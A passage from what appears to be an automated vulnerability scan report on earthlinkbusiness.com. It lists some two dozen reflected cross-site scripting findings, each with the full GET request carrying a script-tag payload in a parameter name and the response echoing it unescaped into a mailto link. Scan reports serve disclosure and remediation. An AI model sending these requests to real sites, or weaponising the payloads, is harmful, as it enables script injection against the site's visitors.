This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/sip.xea?b642d"><script>alert(1)</script>8dd15ec87a7=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - SIP Origination</title> <meta name="description" content="With EarthLink Carrier's SIP Origination service, region ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/sip.xea?b642d"><script>alert(1)</script>8dd15ec87a7=1"> ...[SNIP]...
2.56. http://www.earthlinkbusiness.com/carrier/wholesale.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/carrier/wholesale.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0de1"><script>alert(1)</script>baadcf95332 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /carrier/wholesale.xea?f0de1"><script>alert(1)</script>baadcf95332=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Wholesale Local</title> <meta name="description" content="Leveraging our extensive network and long-standing indus ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/carrier/wholesale.xea?f0de1"><script>alert(1)</script>baadcf95332=1"> ...[SNIP]...
2.57. http://www.earthlinkbusiness.com/partners/ax.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/partners/ax.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3abf"><script>alert(1)</script>35373803a4b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /partners/ax.xea?f3abf"><script>alert(1)</script>35373803a4b=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - AX Technology Partners</title> <meta name="description" content="With EarthLink Business AX, application providers ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/partners/ax.xea?f3abf"><script>alert(1)</script>35373803a4b=1"> ...[SNIP]...
2.58. http://www.earthlinkbusiness.com/partners/channelpartners.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/partners/channelpartners.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6ecd"><script>alert(1)</script>9771d210473 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /partners/channelpartners.xea?a6ecd"><script>alert(1)</script>9771d210473=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Channel Partner Program</title> <meta name="description" content="Our Channel Partners are vital to our success an ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/partners/channelpartners.xea?a6ecd"><script>alert(1)</script>9771d210473=1"> ...[SNIP]...
2.59. http://www.earthlinkbusiness.com/partners/referralpartner.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/partners/referralpartner.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5808"><script>alert(1)</script>75af778e5b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /partners/referralpartner.xea?f5808"><script>alert(1)</script>75af778e5b5=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - EarthLink Business Referral Partner Program</title> <meta name="description" content="In business, it's who you kn ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/partners/referralpartner.xea?f5808"><script>alert(1)</script>75af778e5b5=1"> ...[SNIP]...
2.60. http://www.earthlinkbusiness.com/products/colocation.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/colocation.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9bb3"><script>alert(1)</script>83017fb025b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/colocation.xea?f9bb3"><script>alert(1)</script>83017fb025b=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Colocation</title> <meta name="description" content="Maintaining the security and integrity of a company's mission ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/colocation.xea?f9bb3"><script>alert(1)</script>83017fb025b=1"> ...[SNIP]...
2.61. http://www.earthlinkbusiness.com/products/conferencing.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/conferencing.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da28a"><script>alert(1)</script>821ed649e9f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/conferencing.xea?da28a"><script>alert(1)</script>821ed649e9f=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Conferencing</title> <meta name="description" content="Significantly reduce your annual meeting costs and associat ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/conferencing.xea?da28a"><script>alert(1)</script>821ed649e9f=1"> ...[SNIP]...
2.62. http://www.earthlinkbusiness.com/products/contactcntr.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/contactcntr.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd0d"><script>alert(1)</script>d2e9f276542 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/contactcntr.xea?5cd0d"><script>alert(1)</script>d2e9f276542=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Contact Center Solutions</title> <meta name="description" content="At EarthLink Business, our fully-certified equi ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/contactcntr.xea?5cd0d"><script>alert(1)</script>d2e9f276542=1"> ...[SNIP]...
2.63. http://www.earthlinkbusiness.com/products/hostedvoice.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/hostedvoice.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11b5b"><script>alert(1)</script>adccace2e8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/hostedvoice.xea?11b5b"><script>alert(1)</script>adccace2e8c=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Hosted Voice</title> <meta name="description" content="Hosted Voice from EarthLink Business is a state-of-the-art ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/hostedvoice.xea?11b5b"><script>alert(1)</script>adccace2e8c=1"> ...[SNIP]...
2.64. http://www.earthlinkbusiness.com/products/hosting.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/hosting.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ffed"><script>alert(1)</script>a69f26f7e5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/hosting.xea?6ffed"><script>alert(1)</script>a69f26f7e5c=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Cloud Hosting</title> <meta name="description" content="EarthLink Cloud Hosting lets you build Linux or Windows Se ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/hosting.xea?6ffed"><script>alert(1)</script>a69f26f7e5c=1"> ...[SNIP]...
2.65. http://www.earthlinkbusiness.com/products/internet.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/internet.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7811"><script>alert(1)</script>1072d7a5a98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/internet.xea?e7811"><script>alert(1)</script>1072d7a5a98=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Business Internet Access</title> <meta name="description" content="Whether you're looking for simple Internet acce ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/internet.xea?e7811"><script>alert(1)</script>1072d7a5a98=1"> ...[SNIP]...
2.66. http://www.earthlinkbusiness.com/products/localservices.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/localservices.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1201a"><script>alert(1)</script>99cd7ed9783 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/localservices.xea?1201a"><script>alert(1)</script>99cd7ed9783=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Local Services</title> <meta name="description" content="Local voice service is a necessity for every business, an ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/localservices.xea?1201a"><script>alert(1)</script>99cd7ed9783=1"> ...[SNIP]...
2.67. http://www.earthlinkbusiness.com/products/longdistance.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/longdistance.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab5d3"><script>alert(1)</script>7f390e0cd88 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/longdistance.xea?ab5d3"><script>alert(1)</script>7f390e0cd88=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Long Distance</title> <meta name="description" content="Whether you need to speak with customers around the corner ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/longdistance.xea?ab5d3"><script>alert(1)</script>7f390e0cd88=1"> ...[SNIP]...
2.68. http://www.earthlinkbusiness.com/products/mngrouter.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/mngrouter.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72a56"><script>alert(1)</script>f4e99fb56d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/mngrouter.xea?72a56"><script>alert(1)</script>f4e99fb56d8=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Managed Router</title> <meta name="description" content="Our comprehensive Managed Router, Secure Managed Router a ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/mngrouter.xea?72a56"><script>alert(1)</script>f4e99fb56d8=1"> ...[SNIP]...
2.69. http://www.earthlinkbusiness.com/products/mngvoice.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/mngvoice.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 791dd"><script>alert(1)</script>aafd8eff407 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/mngvoice.xea?791dd"><script>alert(1)</script>aafd8eff407=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Managed Voice</title> <meta name="description" content="Trust EarthLink Business to manage your entire telecommuni ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/mngvoice.xea?791dd"><script>alert(1)</script>aafd8eff407=1"> ...[SNIP]...
2.70. http://www.earthlinkbusiness.com/products/mobileinternet.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/mobileinternet.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a388"><script>alert(1)</script>3f15df16d45 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/mobileinternet.xea?8a388"><script>alert(1)</script>3f15df16d45=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Mobile Internet</title> <meta name="description" content="With Mobile Internet from EarthLink Business, access the ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/mobileinternet.xea?8a388"><script>alert(1)</script>3f15df16d45=1"> ...[SNIP]...
2.71. http://www.earthlinkbusiness.com/products/mobilevoice.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/mobilevoice.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 191d5"><script>alert(1)</script>2f2567ff53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/mobilevoice.xea?191d5"><script>alert(1)</script>2f2567ff53=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Mobile Voice</title> <meta name="description" content="Keeping employees connected and productive, whether on the ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/mobilevoice.xea?191d5"><script>alert(1)</script>2f2567ff53=1"> ...[SNIP]...
2.72. http://www.earthlinkbusiness.com/products/mpls.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/mpls.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a41f4"><script>alert(1)</script>72b301b37e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/mpls.xea?a41f4"><script>alert(1)</script>72b301b37e3=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Nationwide MPLS Networks</title> <meta name="description" content="Ideal for the distributed enterprise, our seaml ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/mpls.xea?a41f4"><script>alert(1)</script>72b301b37e3=1"> ...[SNIP]...
2.73. http://www.earthlinkbusiness.com/products/security.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/security.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79922"><script>alert(1)</script>7d95ac78ed2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/security.xea?79922"><script>alert(1)</script>7d95ac78ed2=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Cloud-Based Security</title> <meta name="description" content="Cloud Security from EarthLink Business quickly and ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/security.xea?79922"><script>alert(1)</script>7d95ac78ed2=1"> ...[SNIP]...
2.74. http://www.earthlinkbusiness.com/products/telephony.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/telephony.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88b7f"><script>alert(1)</script>a6341ba140f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/telephony.xea?88b7f"><script>alert(1)</script>a6341ba140f=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - IP Telephony/Messaging</title> <meta name="description" content="IP Telephony solutions help rationalize costs by ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/telephony.xea?88b7f"><script>alert(1)</script>a6341ba140f=1"> ...[SNIP]...
2.75. http://www.earthlinkbusiness.com/products/voicedata.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/voicedata.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f60b"><script>alert(1)</script>d973efdc389 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/voicedata.xea?4f60b"><script>alert(1)</script>d973efdc389=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Integrated Voice and Data</title> <meta name="description" content="EarthLink Business offers an extensive suite o ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/voicedata.xea?4f60b"><script>alert(1)</script>d973efdc389=1"> ...[SNIP]...
2.76. http://www.earthlinkbusiness.com/products/webhosting.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/products/webhosting.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ce50"><script>alert(1)</script>51c1a3e2e8b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/webhosting.xea?8ce50"><script>alert(1)</script>51c1a3e2e8b=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Web Hosting</title> <meta name="description" content="Our Enterprise Web Hosting provides premium, fully-managed s ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/products/webhosting.xea?8ce50"><script>alert(1)</script>51c1a3e2e8b=1"> ...[SNIP]...
2.77. http://www.earthlinkbusiness.com/sitemap.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/sitemap.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99532"><script>alert(1)</script>28ec26c7667 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitemap.xea?99532"><script>alert(1)</script>28ec26c7667=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - </title> <meta name="description" content="" /> <meta name="keywords" content="Frame Relay, ATM, VPN, Managed Net ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/sitemap.xea?99532"><script>alert(1)</script>28ec26c7667=1"> ...[SNIP]...
2.78. http://www.earthlinkbusiness.com/solutions/enterprise.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/enterprise.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b397b"><script>alert(1)</script>cb1b91f0986 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/enterprise.xea?b397b"><script>alert(1)</script>cb1b91f0986=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Enterprise Solutions</title> <meta name="description" content="Large enterprises need personalized networking solu ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/enterprise.xea?b397b"><script>alert(1)</script>cb1b91f0986=1"> ...[SNIP]...
2.79. http://www.earthlinkbusiness.com/solutions/finance.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/finance.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6f94"><script>alert(1)</script>d8b4686fbc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/finance.xea?f6f94"><script>alert(1)</script>d8b4686fbc7=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>EarthLink Business - Solutions for Finance</title> <meta name="description" content="At EarthLink Business, we have extensive experienc ...[SNIP]... <a class="share-email" title="Click to email this link" href="mailto:?subject=EarthLink Business Website Link&body=http://www.earthlinkbusiness.com/solutions/finance.xea?f6f94"><script>alert(1)</script>d8b4686fbc7=1"> ...[SNIP]...
2.80. http://www.earthlinkbusiness.com/solutions/government.xea [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.earthlinkbusiness.com
Path:
/solutions/government.xea
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a4e4"><script>alert(1)</script>a9f57015d28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /solutions/government.xea?8a4e4"><script>alert(1)</script>a9f57015d28=1 HTTP/1.1 Host: www.earthlinkbusiness.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
